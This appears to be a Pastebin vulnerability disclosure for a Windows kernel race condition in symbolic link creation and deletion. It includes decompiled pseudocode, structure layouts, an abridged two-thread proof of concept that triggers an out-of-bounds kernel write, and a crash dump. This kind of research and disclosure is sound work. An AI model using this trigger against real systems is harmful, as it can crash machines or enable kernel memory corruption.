Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @waleedassar
- The "nt!ObpCreateSymbolicLinkName" function is prone to a race condition bug with the "nt!ObpDeleteSymbolicLinkName" function since they do not properly acquire/release kernel locks while manipulating the same "_OBJECT_SYMBOLIC_LINK" object. The race condition bug can easily be further exploited to cause arbitrary kernel address writes and kernel memory corruptions. To understand this bug, we have to look closely at two things, the first is Symbolic Link Object creation and the second is Symbolic link object destruction.
- A) Symbolic Link Object Creation
- The function in question, "nt!ObpCreateSymbolicLinkName", is called by the "nt!ObInsertObjectEx" function , which is called by the "nt!ObCreateSymbolicLink" function, which is called by the "nt!NtCreateSymbolicLinkObject" syscall function, in a callstack that looks like below:
- //---- Start: ObpCreateSymbolicLinkName callstack ----
- 04 nt!ObpCreateSymbolicLinkName
- 05 nt!ObInsertObjectEx+0x5a1
- 06 nt!ObCreateSymbolicLink+0x118
- 07 nt!NtCreateSymbolicLinkObject+0xe6
- 08 nt!KiSystemServiceCopyEnd+0x25
- //---- End: ObpCreateSymbolicLinkName callstack ----
- By looking at the code from ObInsertObjectEx below, we see that it first calls ObpCreateHandle to create a new user-mode handle for the new symbolic link object then it calls the "nt!ObpCreateSymbolicLinkName".
- //---- Start: Snippet from ObInsertObjectEx ----
- int ret = ObpCreateHandle(0,pNewSymLinkObject,...);
- if(ret >= 0)
- {
- //at this point, we have a valid User-Mode handle for the new symbolic link object, that can easily be used in calls to NtClose function from another thread.
- if(ObjectType == ObpSymbolicLinkObjectType)
- {
- if(ret == STATUS_OBJECT_NAME_EXISTS) ObpCreateSymbolicLinkName(pNewSymLinkObject);
- }
- }
- ObfDereferenceObject(pNewSymLinkObject);
- //-------- End: Snippet from ObInsertObjectEx ------
- N.B. Once ObpCreateHandle has returned with success, we have a valid user-mode handle for the new symbolic link object. This means that, by the time, ObpCreateSymbolicLinkName is being called, another thread in the calling process can guess and manipulate the fresh symbolic link object that is still being manipulated by ObpCreateSymbolicLinkName.
- The "nt!ObpCreateSymbolicLinkName" function is called for the purpose of:
- 1) Updating the "DosDeviceDriveIndex" of the "_OBJECT_SYMBOLIC_LINK" structure.
- 2) Updating the "_DEVICE_MAP" structure pointed to by the System or process device map.
- Now, let's see code from ObpCreateSymbolicLinkName.
- //--- STart: ObpCreateSymbolicLinkName ----
- void ObpCreateSymbolicLinkName
- (_OBJECT_SYMBOLIC_LINK *SymbolicLink)
- {
- _OBP_LOOKUP_CONTEXT LookupContext;
- ...
- _OBJECT_HEADER* ObjHdr = SymbolicLink - 0x30;//r15
- uchar var_InfoMask = ObjHdr->InfoMask;
- ulong var_Counter40 = 0x40;
- _OBJECT_HEADER_NAME_INFO* NameInfo = 0;
- if(var_InfoMask & 0x2) NameInfo = ObjHdr - nt!ObpInfoMaskToOffset[var_InfoMask & 0x3];
- if(!NameInfo) return;
- _OBJECT_DIRECTORY* NameInfoDirectory = NameInfo->Directory;
- if(NameInfoDirectory->DeviceMap == 0) return;
- if(NameInfo->Name.Length != 4) return;
- if(NameInfo->Name.Buffer[1] != L':') return;
- ushort DriveLetter = NLS_UPCASE(NameInfo->Name.Buffer[0]);
- ushort DriveLetterIndex = DriveLetter - 0x41;
- if(DriveLetterIndex > 0x19) return;
- ...
- SymbolicLink->DosDeviceDriveIndex = DriveLetter - 0x40;
- ...
- _ESILO* pSilo = PsGetCurrentSilo();
- _OBJECT_DIRECTORY* pSiloRootDir = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(pSilo);
- ObfReferenceObject(pSiloRootDir);
- _UNICODE_STRING uniLinkTarget;
- memcpy(&uniLinkTarget,&SymbolicLink->LinkTarget,0x10);
- ...
- ExAcquirePushLockExclusiveEx(pServerSiloGlob->ObSiloState.DeviceMapLock,0);
- ulong var_DosDeviceDriveIndex = SymbolicLink->DosDeviceDriveIndex;
- //DosDeviceDriveIndex are 1-based, 1 for A letter, 2 for B letter
- var_DosDeviceDriveIndex--;
- pDeviceMap->DriveType[var_DosDeviceDriveIndex] = DriveType;//Bug here
- pDeviceMap->DriveMap |= (1<<var_DosDeviceDriveIndex);
- ...
- return;
- }
- //--- ENd: ObpCreateSymbolicLinkName ----
- the _DEVICE_MAP structure looks like below:
- 0: kd> dt nt!_device_map
- +0x000 DosDevicesDirectory : Ptr64 _OBJECT_DIRECTORY
- +0x008 GlobalDosDevicesDirectory : Ptr64 _OBJECT_DIRECTORY
- +0x010 DosDevicesDirectoryHandle : Ptr64 Void
- +0x018 ReferenceCount : Int4B
- +0x01c DriveMap : Uint4B
- +0x020 DriveType : [32] UChar
- +0x040 ServerSilo : Ptr64 _EJOB
- The "DriveType" member is an array 32 CHARS each respresents the drive type (e.g.DRIVE_FIXED, DRIVE_FIXED, etc) for each drive letter (e.g. A:, B:, C:,.., Z:).
- the "OBJECT_SYMBOLIC_LINK" structure looks like below:
- 0: kd> dt nt!_OBJECT_SYMBOLIC_LINK
- +0x000 CreationTime : _LARGE_INTEGER
- +0x008 LinkTarget : _UNICODE_STRING
- +0x008 Callback : Ptr64 long
- +0x010 CallbackContext : Ptr64 Void
- +0x018 DosDeviceDriveIndex : Uint4B
- +0x01c Flags : Uint4B
- +0x020 AccessMask : Uint4B
- The "DosDeviceDriveIndex" member is 1-based value representing an index into the "DriveType" array within the "_DEVICE_MAP" structure.
- B) Symbolic Link Object Destruction
- The symbolic link objects are destroyed via calls to the "NtClose" syscall functions. NtClose then calls the "nt!ObCloseHandleTableEntry" function, which calls the "nt!ObpDeleteSymbolicLinkName" function in a call stack like below:
- //------ Start: Callstack ------
- 00 nt!ObpDeleteSymbolicLinkName
- 01 nt!ObCloseHandleTableEntry+0x22a
- 02 nt!NtClose+0xde
- //------ End: Callstack -------
- The "nt!ObpDeleteSymbolicLinkName" function code looks something like below:
- //------ Start: ObpDeleteSymbolicLinkName ------
- void ObpDeleteSymbolicLinkName(_OBJECT_SYMBOLIC_LINK *SymbolicLink)
- {
- ulong var_DosDeviceDriveIndex = SymbolicLink->DosDeviceDriveIndex;
- //DosDeviceDriveIndex field is 1 if the symbolic link is named "A:"
- //and is zero if it is not within "A:" and "Z:"
- if(var_DosDeviceDriveIndex)
- {
- _OBJECT_HEADER* pObjHdr = SymbolicLink - 0x30;
- ulong Offset = ObpInfoMaskToOffset[pObjHdr->InfoMask & 3];
- _OBJECT_HEADER_NAME_INFO* pNameInfo = pObjHdr - Offset;
- //The directory, our symbolic link object lives in.
- _OBJECT_DIRECTORY* pParentDir = pNameInfo->Directory;
- //The device map associated with our process, in case this directory object is our process's device map directory.
- _DEVICE_MAP* pDeviceMap = pParentDir->DeviceMap;
- if(pDeviceMap)
- {
- _ESERVERSILO_GLOBALS* pServerSiloGlob = PsGetCurrentServerSiloGlobals();
- ExGetCurrentThread()->??--;
- ExAcquirePushLockExclusiveEx(&pServerSiloGlob->ObSiloState.DeviceMapLock,0);
- pDeviceMap->DriveMap &= ~(1 << (var_DosDeviceDriveIndex-1));
- pDeviceMap->DriveType[var_DosDeviceDriveIndex-1] = 0;
- if(pDeviceMap != pServerSiloGlob->ObSiloState.SystemDeviceMap)
- {
- pServerSiloGlob->ObSiloState.SystemDosDeviceState.LocalDeviceCount[var_DosDeviceDriveIndex-1]--;
- }
- else
- {
- pServerSiloGlob->ObSiloState.SystemDosDeviceState.GlobalDeviceMap &= (~(1 << (var_DosDeviceDriveIndex-1)));
- }
- ExReleasePushLockEx(&pServerSiloGlob->ObSiloState.DeviceMapLock,0);
- KiLeaveGuardedRegionUnsafe(ExGetCurrentThread());
- }
- SymbolicLink->DosDeviceDriveIndex = 0;//Bug here
- }
- }
- //------ END: ObpDeleteSymbolicLinkName----
- //////////////////////////
- Comparing the code from both nt!ObpCreateSymbolicLinkName and nt!ObpDeleteSymbolicLinkName, we can see:
- 1) ObpDeleteSymbolicLinkName sets the "DosDeviceDriveIndex" member of the symbolic link object to zero.
- SymbolicLink->DosDeviceDriveIndex = 0;
- 2) ObpCreateSymbolicLinkName extracts the "DosDeviceDriveIndex" member of the symbolic link object and decrements it by one.
- var_DosDeviceDriveIndex--;
- 2) ObpCreateSymbolicLinkName uses the decremented value as an index into the "DriveType" array within the device map structure.
- pDeviceMap->DriveType[var_DosDeviceDriveIndex] = DriveType;
- So, to further demonstrate this bug we create two threads, the first keeps creating new symbolic link objects via NtCreateSymbolicLinkObject and the second one keeps closing the newly created symbolic link object handles via NtClose. By doing so, it is very likely ObpDeleteSymbolicLinkName will be called before ObpCreateSymbolicLinkName. Thus, ObpCreateSymbolicLinkName, will reference the "DriveType" array with an index of value 0xFFFFFFFF, causing writing an arbitrary value beyond the array boundaries.
- //------- Start: POC --------
- void ThreadX0()
- {
- ....
- while(1)
- {
- SymLinkName[0]= L'Z';
- ObjAttr_sl.RootDirectory = hSubDir;
- int retValue = ZwCreateSymbolicLinkObject(&hSymLink,SYMBOLIC_LINK_ALL_ACCESS,&ObjAttr_sl,&uniTarget);
- printf("ZwCreateSymbolicLinkObject, ret: %X, hSymLink: %I64X\r\n",retValue,hSymLink);
- }
- }
- void ThreadX1()
- {
- ...
- Sleep(3000);
- while(1)
- {
- ZwClose(hSymLink);
- }
- }
- //Full POC is attached
- //------- END: POC --------
- # Child-SP RetAddr Call Site
- 00 ffff8b8d`3d38f0b8 fffff807`5744a1a9 nt!KeBugCheckEx
- 01 ffff8b8d`3d38f0c0 fffff807`5729f500 nt!MiSystemFault+0x18cdf9
- 02 ffff8b8d`3d38f1c0 fffff807`5740505e nt!MmAccessFault+0x400
- 03 ffff8b8d`3d38f360 fffff807`5770743e nt!KiPageFault+0x35e
- 04 ffff8b8d`3d38f4f0 fffff807`5767a351 nt!ObpCreateSymbolicLinkName+0x32a
- 05 ffff8b8d`3d38f5d0 fffff807`576fb444 nt!ObInsertObjectEx+0x5a1
- 06 ffff8b8d`3d38f860 fffff807`576fb106 nt!ObCreateSymbolicLink+0x118
- 07 ffff8b8d`3d38f8d0 fffff807`574088b5 nt!NtCreateSymbolicLinkObject+0xe6
- 0: kd> u nt!ObpCreateSymbolicLinkName+0x32a
- nt!ObpCreateSymbolicLinkName+0x32a:
- fffff807`5770743e 885c3920 mov byte ptr [rcx+rdi+20h],bl
- fffff807`57707442 09471c or dword ptr [rdi+1Ch],eax
- PAGE_FAULT_IN_NONPAGED_AREA (50)
- Invalid system memory was referenced. This cannot be protected by try-except.
- Typically the address is just plain bad or it is pointing at freed memory.
- Arguments:
- Arg1: ffffa310687728cf, memory referenced.
- Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
- Arg3: fffff8075770743e, If non-zero, the instruction address which referenced the bad memory address.
- Arg4: 0000000000000002, (reserved)
Add Comment
Please, Sign In to add comment